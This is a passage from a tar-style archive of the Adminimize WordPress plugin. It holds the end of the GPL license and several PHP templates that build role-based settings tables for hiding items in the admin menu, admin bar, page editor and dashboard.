necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
inc-options/self_settings.php 0000666 00000007107 15244451347 0012412 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Admininmiz Options for the settings page
* @author Frank Bültge
* @since 2016-02-26
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div id="about" class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="self-settings"><?php esc_attr_e( 'Plugin Settings', 'adminimize' ) ?></h3>
<div class="inside">
<table class="form-table">
<tr>
<td class="row-title"><label for="mw_adminimize_debug">
<?php esc_attr_e( 'Active Debug Helper', 'adminimize' ); ?>
</label>
</td>
<td>
<input type="checkbox" value="1" id="mw_adminimize_debug"
name="mw_adminimize_debug" <?php checked(
_mw_adminimize_get_option_value( 'mw_adminimize_debug' ),
1, TRUE ); ?>>
<?php esc_attr_e( 'After activation is it possible to see several information inside the console of the browser for the current active user.', 'adminimize' ); ?>
</td>
</tr>
<tr>
<td class="row-title"><label for="mw_adminimize_multiple_roles">
<?php esc_attr_e( 'Support Multiple Roles', 'adminimize' ); ?>
</label>
</td>
<td>
<input type="checkbox" value="1" id="mw_adminimize_multiple_roles"
name="mw_adminimize_multiple_roles" <?php checked(
_mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ),
1, TRUE ); ?>>
<?php esc_attr_e( 'To hide an option for a user with multiple roles, the option must be selected for every role of that user. If the option is not selected for one of the user\'s roles, then the item will appear.', 'adminimize' ); ?>
</td>
</tr>
<tr>
<td class="row-title"><label for="mw_adminimize_support_bbpress">
<?php esc_attr_e( 'Support bbPress Roles', 'adminimize' ); ?>
</label>
</td>
<td>
<input type="checkbox" value="1" id="mw_adminimize_support_bbpress"
name="mw_adminimize_support_bbpress" <?php checked(
_mw_adminimize_get_option_value( 'mw_adminimize_support_bbpress' ),
1,
TRUE ); ?>>
<?php esc_attr_e( 'Show bbPress roles for each area to allow bbPress specific user settings.', 'adminimize' ); ?>
</td>
</tr>
<tr>
<td class="row-title"><label for="mw_adminimize_prevent_page_access">
<?php esc_attr_e( 'Allow Page Access', 'adminimize' ); ?>
</label>
</td>
<td>
<input type="checkbox" value="1" id="mw_adminimize_prevent_page_access"
name="mw_adminimize_prevent_page_access" <?php checked(
_mw_adminimize_get_option_value( 'mw_adminimize_prevent_page_access' ),
1,
TRUE ); ?>>
<?php esc_attr_e( 'Activate this option to allow access to pages of the back end, even if it\'s hidden to a user role.', 'adminimize' ); ?>
</td>
</tr>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#"
onclick="window.scrollTo(0,0);" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" />
</p>
</div>
</div>
</div>
inc-options/wp_nav_menu_options.php 0000666 00000016212 15244451347 0013627 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Nav Menu Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="nav_menu_options"><?php esc_attr_e( 'WP Nav Menu', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_nav_menu" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="wp_nav_menu_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_nav_menu_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_nav_menu_option_' . $role . '_items'
);
}
$nav_menu_options = array(
'#contextual-help-link-wrap',
'#screen-options-link-wrap',
'#nav-menu-theme-locations',
'#add-custom-links',
'.menu-add-new',
);
if ( wp_get_nav_menus() ) {
array( $nav_menu_options, '#nav-menu-theme-locations' );
}
$nav_menu_options_names = array(
esc_attr__( 'Help', 'adminimize' ),
esc_attr__( 'Screen Options' ),
esc_attr__( 'Theme Locations', 'adminimize' ),
esc_attr__( 'Custom Links', 'adminimize' ),
'#(' . esc_attr__( 'Add menu', 'adminimize' ) . ')',
);
if ( wp_get_nav_menus() ) {
array( $nav_menu_options_names, esc_attr__( 'Theme Locations' ) );
}
// taxonomies
$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => TRUE ), 'object' );
if ( $taxonomies ) {
foreach ( $taxonomies as $tax ) {
if ( $tax ) {
$nav_menu_options[] = '#add-' . $tax->name;
$nav_menu_options_names[] = $tax->labels->name;
}
}
}
// post types
$post_types = get_post_types( array( 'show_in_nav_menus' => TRUE ), 'object' );
if ( $post_types ) {
foreach ( $post_types as $post_type ) {
if ( $post_type ) {
$nav_menu_options[] = '#add-' . $post_type->name;
$nav_menu_options_names[] = $post_type->labels->name;
}
}
}
$_mw_adminimize_own_nav_menu_values = _mw_adminimize_get_option_value(
'_mw_adminimize_own_nav_menu_values'
);
$_mw_adminimize_own_nav_menu_values = preg_split( "/\r\n/", $_mw_adminimize_own_nav_menu_values );
foreach ( (array) $_mw_adminimize_own_nav_menu_values as $key => $_mw_adminimize_own_nav_menu_value ) {
$_mw_adminimize_own_nav_menu_value = trim( $_mw_adminimize_own_nav_menu_value );
$nav_menu_options[] = $_mw_adminimize_own_nav_menu_value;
}
$_mw_adminimize_own_nav_menu_options = _mw_adminimize_get_option_value(
'_mw_adminimize_own_nav_menu_options'
);
$_mw_adminimize_own_nav_menu_options = preg_split( "/\r\n/", $_mw_adminimize_own_nav_menu_options );
foreach ( (array) $_mw_adminimize_own_nav_menu_options as $key => $_mw_adminimize_own_nav_menu_option ) {
$_mw_adminimize_own_nav_menu_option = trim( $_mw_adminimize_own_nav_menu_option );
$nav_menu_options_names[] = $_mw_adminimize_own_nav_menu_option;
}
$x = 0;
foreach ( $nav_menu_options as $index => $nav_menu_option ) {
if ( $nav_menu_option != '' ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_nav_menu_option_[ $role ] )
&& in_array(
$nav_menu_option, $disabled_nav_menu_option_[ $role ]
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $nav_menu_options_names[ $index ] . ' <span>(' . $nav_menu_option . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_post' . $role . $x . '" class="wp_nav_menu_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_nav_menu_option_'
. $role . '_items[]" value="' . $nav_menu_option . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//your own global options
?>
<br style="margin-top: 10px;" />
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own Nav Menu options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_nav_menu_options" cols="60" rows="3" id="_mw_adminimize_own_nav_menu_options" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_nav_menu_options'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_nav_menu_values" cols="60" rows="3" id="_mw_adminimize_own_nav_menu_values" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_nav_menu_values'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
); ?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/admin_bar.php 0000666 00000011111 15244451347 0011443 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Admin Bar Options, settings page
* @author Frank Bültge
* @since 1.8.1 01/10/2013
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
/** @var $wp_admin_bar WP_Admin_Bar */
if ( ! isset( $wp_admin_bar ) ) {
$wp_admin_bar = '';
}
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" id="admin_bar_options" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"><?php
esc_attr_e( 'Admin Bar Back end Options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_widget" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="admin_bar_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_admin_bar_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_admin_bar_' . $role . '_items'
);
}
$x = 0;
// add items to array for select
// Use the hook to enhance for custom items, there are not in the list
$admin_bar_items = apply_filters(
'adminimize_admin_bar_items', _mw_adminimize_get_option_value( 'mw_adminimize_admin_bar_nodes' )
);
$message = '';
if ( ! empty( $admin_bar_items ) && is_array( $admin_bar_items ) ) {
foreach ( $admin_bar_items as $key => $value ) {
$is_parent = ! empty( $value->parent );
$has_link = ! empty( $value->href );
// No title on the item.
if ( ! $value->title ) {
$value->title = '<b><i>' . esc_attr__( 'No Title!', 'adminimize' ) . '</i></b>';
}
$item_string = '• ';
$before_title = '<b>';
$after_title = '</b> <small>' . esc_attr__( 'Group', 'adminimize' ) . '</small>';
if ( $is_parent ) {
$item_string = '— ';
$before_title = '';
$after_title = '';
}
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_admin_bar_option_[ $role ] )
&& in_array(
$key, $disabled_admin_bar_option_[ $role ], FALSE
)
) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>'. $before_title . $item_string . strip_tags( $value->title, '<strong><b><em><i>' )
. $after_title . ' <span>(' . $key . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num"><input id="check_post' . $role . $x . '" class="admin_bar_'
. $role . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_admin_bar_'
. $role . '_items[]" value="' . $key . '" /></td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
$message = '<span style="font-size: 35px;">☝</span>'
. esc_attr__( 'Switch to another back-end page and come back to update the options to get all items of the admin bar in the back end area.', 'adminimize' );
?>
</tbody>
</table>
<p><?php echo $message; ?></p>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#"
style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a>
<br class="clear" />
</p>
</div>
</div>
</div>
inc-options/write_page_options.php 0000666 00000025734 15244451347 0013450 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Page Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="config_edit_page"><?php esc_attr_e( 'Write options - Page', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_edit_page" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( (array) $user_roles_names as $role_name ) {
echo '<col class="col' . (int) $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Write options - Page', 'adminimize' ); ?></th>
<?php
foreach ( (array) $user_roles_names as $role_name ) {
echo '<th>' . esc_attr__( 'Deactivate for', 'adminimize' )
. '<br />' . esc_attr( $role_name ) . '</th>';
} ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( (array) $user_roles as $role_slug ) {
echo '<td class="num"><input id="select_all" class="write_page_options_'
. esc_attr( $role_slug ) . '" type="checkbox" name="" value="" /></td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
// pages
$metaboxes_page = array(
'#contextual-help-link-wrap',
'#screen-options-link-wrap',
'.page-title-action',
'#title, #titlediv, th.column-title, td.title',
'#pageslugdiv',
'#pagepostcustom, #pagecustomdiv, #postcustom',
'#pagecommentstatusdiv, #commentsdiv, #comments, th.column-comments, td.comments',
'#date, #datediv, th.column-date, td.date, div.curtime',
'#pagepassworddiv',
'#pageparentdiv',
'#pagetemplatediv',
'#pageorderdiv',
'#pageauthordiv, #author, #authordiv, th.column-author, td.author',
'#revisionsdiv',
'.side-info',
'#notice',
'#post-body h2',
'#media-buttons, #wp-content-media-buttons',
'#wp-word-count',
'#slugdiv,#edit-slug-box',
'#misc-publishing-actions',
'#commentstatusdiv',
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
);
$post_type = 'page';
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support ) ) {
if ( 'excerpt' === $post_type_support ) {
$post_type_support = $post_type . 'excerpt';
}
}
if ( 'page-attributes' === $post_type_support ) {
$post_type_support = 'pageparentdiv';
}
if ( 'custom-fields' == $post_type_support ) {
$post_type_support = $post_type . 'custom';
}
if ( 'post-formats' === $post_type_support ) {
$post_type_support = 'format';
}
$metaboxes[] = '#' . $post_type_support
. ', #' . $post_type_support
. 'div, th.column-' . $post_type_support
. ', td.' . $post_type_support; // td for raw in edit screen
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', 'page'
)
) {
$metaboxes_page[] = '#postimagediv';
}
// quick edit areas, id and class
$quickedit_page_areas = array(
'div.row-actions, div.row-actions .inline',
'fieldset.inline-edit-col-left',
'fieldset.inline-edit-col-left label',
'fieldset.inline-edit-col-left div.inline-edit-date',
'fieldset.inline-edit-col-left label.inline-edit-author',
'fieldset.inline-edit-col-left .inline-edit-group',
'fieldset.inline-edit-col-right',
'fieldset.inline-edit-col-right .inline-edit-col',
'fieldset.inline-edit-col-right .inline-edit-group',
'tr.inline-edit-page p.inline-edit-save'
);
$metaboxes_page = array_merge( $metaboxes_page, $quickedit_page_areas );
$metaboxes_names_page = array(
esc_attr__( 'Help', 'adminimize' ),
esc_attr__( 'Screen Options', 'adminimize' ),
esc_attr__( 'Add New', 'adminimize' ),
esc_attr__( 'Title', 'adminimize' ),
esc_attr__( 'Permalink', 'adminimize' ),
esc_attr__( 'Custom Fields', 'adminimize' ),
esc_attr__( 'Comments & Pings', 'adminimize' ),
esc_attr__( 'Date', 'adminimize' ),
esc_attr__( 'Password Protect This Page', 'adminimize' ),
esc_attr__( 'Attributes', 'adminimize' ),
esc_attr__( 'Page Template', 'adminimize' ),
esc_attr__( 'Page Order', 'adminimize' ),
esc_attr__( 'Page Author', 'adminimize' ),
esc_attr__( 'Page Revisions', 'adminimize' ),
esc_attr__( 'Related', 'adminimize' ),
esc_attr__( 'Messages', 'adminimize' ),
esc_attr__( 'h2: Advanced Options', 'adminimize' ),
esc_attr__( 'Media Buttons (all)', 'adminimize' ),
esc_attr__( 'Word count', 'adminimize' ),
esc_attr__( 'Page Slug', 'adminimize' ),
esc_attr__( 'Publish Actions', 'adminimize' ),
esc_attr__( 'Discussion', 'adminimize' ),
esc_attr__( 'HTML Editor Button', 'adminimize' )
);
foreach ( $GLOBALS[ '_wp_post_type_features' ][ $post_type ] as $post_type_support => $key ) {
if ( post_type_supports( $post_type, $post_type_support ) ) {
$metaboxes_names[] = ucfirst( $post_type_support );
}
}
if ( function_exists( 'current_theme_supports' )
&& current_theme_supports(
'post-thumbnails', 'page'
)
) {
$metaboxes_names_page[] = esc_attr__( 'Page Image', 'adminimize' );
}
// quick edit names
$quickedit_page_names = array(
'<strong>' . esc_attr__( 'Quick Edit Link', 'adminimize' ) . '</strong>',
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Left', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'All Labels', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Date', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Author' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Password and Private', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Inline Edit Right', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Parent, Order, Template', 'adminimize' ),
' ' . esc_attr__( 'QE', 'adminimize' ) . ' ⇒' . ' ' . esc_attr__( 'Status', 'adminimize' ),
esc_attr__( 'QE', 'adminimize' ) . ' ' . esc_attr__( 'Cancel/Save Button', 'adminimize' )
);
$metaboxes_names_page = array_merge( $metaboxes_names_page, $quickedit_page_names );
// add own page options
$_mw_adminimize_own_page_values = _mw_adminimize_get_option_value( '_mw_adminimize_own_page_values' );
$_mw_adminimize_own_page_values = preg_split( "/\r\n/", $_mw_adminimize_own_page_values );
foreach ( (array) $_mw_adminimize_own_page_values as $key => $_mw_adminimize_own_page_value ) {
$_mw_adminimize_own_page_value = trim( $_mw_adminimize_own_page_value );
$metaboxes_page[] = $_mw_adminimize_own_page_value;
}
$_mw_adminimize_own_page_options = _mw_adminimize_get_option_value( '_mw_adminimize_own_page_options' );
$_mw_adminimize_own_page_options = preg_split( "/\r\n/", $_mw_adminimize_own_page_options );
foreach ( (array) $_mw_adminimize_own_page_options as $key => $_mw_adminimize_own_page_option ) {
$_mw_adminimize_own_page_option = trim( $_mw_adminimize_own_page_option );
$metaboxes_names_page[] = $_mw_adminimize_own_page_option;
}
$x = 0;
foreach ( $metaboxes_page as $index => $metabox ) {
if ( $metabox != '' ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_metaboxes_page_[ $role ] )
&& in_array(
$metabox, $disabled_metaboxes_page_[ $role ]
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $metaboxes_names_page[ $index ] . ' <span>(' . $metabox . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_page' . $role . $x . '" class="write_page_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_metaboxes_page_'
. $role . '_items[]" value="' . $metabox . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//ypur own page options
?>
<br style="margin-top: 10px;" />
<table summary="config_own_page" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_page_options" cols="60" rows="3" id="_mw_adminimize_own_page_options" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_page_options'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_page_values" cols="60" rows="3" id="_mw_adminimize_own_page_values" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_page_values'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
); ?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/dashboard_options.php 0000666 00000016354 15244451347 0013247 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Dashboard Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="dashboard_options"><?php esc_attr_e( 'Dashboard options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<?php
$disabled_dashboard_option_ = array();
// get widgets
$widgets = _mw_adminimize_get_option_value( 'mw_adminimize_dashboard_widgets' );
if ( NULL === $widgets ) {
echo '<p>';
esc_attr_e(
'To complete the installation for Dashboard Widgets you must visit your dashboard once and then come back to Settings > Adminimize to configure who has access to each widget.',
'adminimize'
);
echo '</p>';
} else {
?>
<table summary="config_edit_dashboard" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="dashboard_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_dashboard_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_dashboard_option_' . $role . '_items'
);
}
$dashboard_options = array();
$dashboard_options_names = array();
foreach ( $widgets as $widget ) {
// Object to array
if ( is_object( $widget ) ) {
$widget = get_object_vars( $widget );
}
$dashboard_options[] = $widget[ 'id' ];
$dashboard_options_names[] = $widget[ 'title' ];
}
$_mw_adminimize_own_dashboard_values = _mw_adminimize_get_option_value(
'_mw_adminimize_own_dashboard_values'
);
$_mw_adminimize_own_dashboard_values = preg_split( "/\r\n/", $_mw_adminimize_own_dashboard_values );
foreach ( (array) $_mw_adminimize_own_dashboard_values as $key => $_mw_adminimize_own_dashboard_value ) {
$_mw_adminimize_own_dashboard_value = trim( $_mw_adminimize_own_dashboard_value );
$dashboard_options[] = $_mw_adminimize_own_dashboard_value;
}
$_mw_adminimize_own_dashboard_options = _mw_adminimize_get_option_value(
'_mw_adminimize_own_dashboard_options'
);
$_mw_adminimize_own_dashboard_options = preg_split(
"/\r\n/", $_mw_adminimize_own_dashboard_options
);
foreach ( (array) $_mw_adminimize_own_dashboard_options as $key => $_mw_adminimize_own_dashboard_option ) {
$_mw_adminimize_own_dashboard_option = trim( $_mw_adminimize_own_dashboard_option );
$dashboard_options_names[] = $_mw_adminimize_own_dashboard_option;
}
$x = 0;
foreach ( $dashboard_options as $index => $dashboard_option ) {
if ( '' !== $dashboard_option ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( in_array(
$dashboard_option, (array) $disabled_dashboard_option_[ $role ], FALSE
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
// No title on the Dashboard item.
if ( ! $dashboard_options_names[ $index ] ) {
$dashboard_options_names[ $index ] = '<b><i>' . esc_attr__(
'No Title!', 'adminimize'
) . '</i></b>';
}
echo '<td>' . $dashboard_options_names[ $index ] . ' <span>(' . $dashboard_option . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_post' . $role . $x . '" class="dashboard_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_dashboard_option_'
. $role . '_items[]" value="' . $dashboard_option . '" />';
echo '</td>';
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//Your own dashboard options.
?>
<br style="margin-top: 10px;" />
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_dashboard_options" cols="60" rows="3"
id="_mw_adminimize_own_dashboard_options" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_dashboard_options'
); ?></textarea>
<br />
<label for="_mw_adminimize_own_dashboard_options">
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</label>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_dashboard_values" cols="60" rows="3"
id="_mw_adminimize_own_dashboard_values" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_dashboard_values'
); ?></textarea>
<br />
<label for="_mw_adminimize_own_dashboard_values">
<?php esc_attr_e(
